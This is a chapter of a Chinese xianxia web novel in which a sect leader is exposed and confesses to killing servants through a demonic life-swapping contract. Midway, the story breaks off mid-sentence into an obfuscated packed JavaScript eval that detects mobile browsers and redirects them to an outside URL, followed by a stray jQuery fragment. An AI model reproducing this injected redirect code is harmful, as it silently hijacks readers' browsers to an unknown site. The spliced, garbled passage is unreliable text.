顾凛泉任由夜晚的海风吹拂过鬓角的那缕白发,他今晚的发髻没有如同以往一般梳的整齐,那白色的发丝正在风中逃逸着。
“最后一个了。”顾凛泉喃喃自语,像是在安慰自己一样,“这是最后一个。”
半山腰发出“咚”的一声。
“最后一个了。”顾凛泉没有表情,但是他脸上似乎出现了快意。
“确实是最后一个了——。”
顾凛泉一惊猛地回头,身后站着的正是公仪邪和姬宣辞。
“你们!”
“你们什么时候来的?”公仪邪抢过他的话。“从一开始——你满意了吗?”
顾凛泉看起来只是慌张了一瞬,他现在看起来和平时一样冷静了,他拍拍自己的袖子,“刚才那个杂役差点签下危险的契约,因为先前有相似之事,吾有所防备,特赶来解决此事。”
公仪邪都想不合时宜地为他鼓掌了,心态这么好,怪不得是掌门。
“若你是来救人,为何那杂役还是死了?”
顾凛泉看向姬宣辞,“前辈从何得知那杂役已死?有何证据?”
“别狡辩了,人死没死你最清楚,就在那里何必争一时口舌?”姬宣辞冷冷开口,“还有,你的法术对我们两个没用。”
顾凛泉听此松开了悄悄握紧的手,掐诀召来的藤蔓也随之褪去。
顾凛泉紧盯着公仪邪的双眼,许久终于长叹一口气。
“从尔等来的那一刻吾就有预感的。”顾凛泉的嘴角随之扬起,“不该放尔等进来才是对的。”
“那你可就错了。”姬宣辞很直接地反驳他,“如果没人放我们进来,我们会直接撕开蓬莱的结界。等发现你的罪证再解决掉你然后修好结界。”
顾凛泉笑笑,“或许吧,反正在吾看来不过是棋差一招。吾今日会失败不过是因为吾打不过汝等。尔等如何?曝光吾?让吾身败名裂?”顾凛泉有着和刘乌苏一样的无所谓,就像是这个世界上已经没有令之动容之物了一般。
他们的言语中透露着对自己能力超群的骄傲和对生命的冷淡。只不过刘乌苏没有杀人,而顾凛泉早已不把人命看做人命。
“我们不在意你会有什么下场,也不关心你会怎样。”公仪邪接上他的话,“在我们眼里你和其他成千上万的凡人没有区别。”
顾凛泉脸色变得很难看。
“我们只想知道你把和魔界的契约放在了哪里。”
“哈哈哈哈哈,说到底,尔等还是要求吾。”
两人都没有在意眼前这个略显疯癫的男人,“我想顾掌门应该不想闹的难看。”姬宣辞声若寒潭,“顾掌门向来体面。”
顾凛泉仍是笑,从芥子灵囊里拿出那契约来。
果然,一瞬间,魔气扑面而来,和他方才救王恒那一瞬一模一样。
“在这里。”顾凛泉笑着弹了弹纸面,“这就是母本。但是大局已定,方才那个杂役就是最后一人,虽然这棋差一招,但是吾倒是想看看修仙界是否会为难吾辈一即将飞升之人。”
公仪邪捂嘴,姬宣辞也忍俊不禁笑出声,“你倒是看看那契约呢?”
顾凛泉笑容僵住,他是看不懂这魔修的语言,但是他认得自己的名字。往日子本上写着被他看做蝼蚁之人姓名的地方此时变成了他顾凛泉的名字。
他才是最后一个人。
顾凛泉一下子就懂了。如果此时他押了手印,他的姓名就会不知道补到谁那里去了。
他没有那么天真,知道眼前这二人不会救他,但未必不能顺带帮他。
“顾某愿意告知前辈来龙去脉。”他冷静地说着好像话语中并不是她自己的故事。
——
顾凛泉从当上掌门那一刻就知道自己接手了烂摊子。
人人希望得道成仙,只有当上掌门才知道有些话是糊弄手下人努力上进的鬼话。
他看得出来,这天赋好与坏一半靠血脉而另一半靠的是运气。
修仙不是千万人共度一舟,而是有缘人注定飞升。血脉好两两结合生出来的血脉更好。
可是哪有那么多血脉好的。结来结去,好根骨变成了不成器的烂泥,好血脉变成了早夭的毒药。
但是他们不想放手。外面还有没烂根的苗子,但是他们不想把机会让出去。
不是所有千里马都能接触到伯乐。多的是骈死于槽枥之间。
天下虽大,终究不是无穷尽,你划一亩三分,我抢方寸之间。僧多粥少。试错成本太高,鲜少有人尝试。干脆关上门,修仙界自己过日子,甚至免了皇帝老儿的处处试探。
顾凛泉当上掌门正是因为他是天之骄子,他是烂根里鲜有的好苗,他是一日千里的良驹。
但也不完全是。
天人五衰即纳垢、华萎、汗流、离心。他一个化神后期的大修士,竟然开始像凡人一样,变脏流汗脱发心乱不可控了,他不敢想自己需要吃饭排泄和凡人一样每天用不少时间解决生理问题,那是他筑基后再也没有经历过的事。属于他的,来自好根骨与好根骨的结合的后遗症出现了。
他修炼,吃药,无休止地修炼,偏方,禁药,只要他能找到的都试过了。
没有用。
荣悴井原本只是无名井。直到他在荣悴井旁听见一个声音。“你想长生吗?”
他太想了。
不知道死了多少杂役。,反正内门看不起外门,外门看不起杂役,杂役死了便是成了外门弟子。外面过了五十年,谁还在意一个老头或者老太是否能回来。当初可是说好了要去当大仙享福去了。
没回来,不正是去当大仙了吗?
那契约顾凛泉看不懂,但是那声音告诉过他内容。
那是张换命簿,写下用谁的命来换,最后签字画押,第一个人会死,画押的人也会死,全都会换到顾凛泉这里来。不一眼的就是作为母本拥有者的顾凛泉手上的母本刀枪不入、水火不侵。
代价只需要被写名字的人的一甲子寿辰给予血魔大仙,画押的人一甲子寿命就会划到顾凛泉头上来。
顾凛泉第一次用此法,他的天人五衰像是直接好了。他没法停下,只是不断向自己的目标靠近。
多的是贪婪的人。他们想成仙,顾凛泉帮他们成仙,本来这辈子根骨就差不如去下辈子成仙来得快些。
他们口口相传,在半
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16078411|178571||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
夜来到这里。因为贪婪写下别人的名字,被写下的被划走了命,可能今天死后天死,也可能把剩下的命过完死。画押的写完名字他的命就给了顾凛泉。契约一成,子本化成灰,这人的命也呜呼而去。
尸体就丢进井里,用这口井浇的树生的果子格外上映,效果极佳。相比用普通灵泉浇的树就平平无奇了。
吃了荣悴井水的果子就像听顾林泉的话,吃的越多,越合顾凛泉心意。
顾凛泉叫他们去监视,他们就去,全然不知道自己做了什么。
明明万事顺意,可偏偏时间一长,顾凛泉放松了警惕。
原来那所谓的母本不过只是针对他顾凛泉的子本。
现如今他终于走进了一样的圈套里。
——
顾凛泉很会讲故事,故事里他万般无奈,终于决定牺牲无用之人换修真界出现一位大能。
但是哪怕他讲的再生动都不能掩盖他贪婪的心。
他痛恨同辈无灾无病,觊觎天才速速飞升,甚至贪心身为杂役的同门仅仅六十年的寿命,哪怕这六十年对他来说杯水车薪。
姬宣辞接过这个人手里的契约,在顾凛泉眼前只是一个掐诀的手势,这刀枪不入的契约就如风化一般变成了纸张同色的黄色的粉末。海风吹过,全都飘进了那口邪恶的井里。原本清澈的井水变成了带有腐臭味的浑浊的液体,隐隐还能看见前几日丢下井的那个杂役。
顾凛泉的眼皮狠狠跳了一下,在自己这里天大的难题竟然只是这两个人一句口诀的问题。
兴许是他生气的神情导致脸色不好,顾凛泉原本莹润的白发变成了毫无生命力的苍白,他光滑的眼角也挤压着出现了细纹。
下山的时侯,路过了王恒的尸体。和前几日的杂役一样,他苍老的脸上写满了震惊,也许这人怎么也不会想到,只是一个小小的违规就能带走自己的性命,从这人如今的外貌上来看,也许他还有不少时间可以活下去。但是如今什么都没有了。
从他上山那一刻起,就没人能救得了他。公仪邪二人哪怕参与了他的因果最后此人还是落得了灵魂散尽的下场。
不过,作为献祭的主菜的顾凛泉没有参与进献祭,已经是不幸中的万幸。由于契约的反噬,他的天人五衰恐怕会更加严重。这顾凛泉自己亲自挑选的苦果,最终也要他自己一个人囫囵吞下。
蓬莱的天还没有亮,等待天亮的过程,公仪邪和姬宣辞商量着措辞。顾凛泉没了契约的力量,很快就会死去,处理那口恶井,解决有问题的灵果,更重要的——谁来带领蓬莱?
大家心里都清楚,事情的真相避无可避,顾凛泉自己也知道,他的名字注定会跟随着他人清晰的记忆流传下去。
于人间而言首先是警惕,其次是防范,最后是避免。
人生来贪婪,心似澄湖,妄念生,则心有千千浪。诸多妄念如风吹野火烧之不尽。
佛语云,贪即求取无厌,其果为热恼、匮乏、遁入轮回;妄即认假为真,其果为流转、系缚、不得解脱。
离开了顾凛泉蓬莱和修仙界也许会更好,或许会更糟?但谁知道呢,熙熙攘攘凡尘俗世不过都是人走出来的。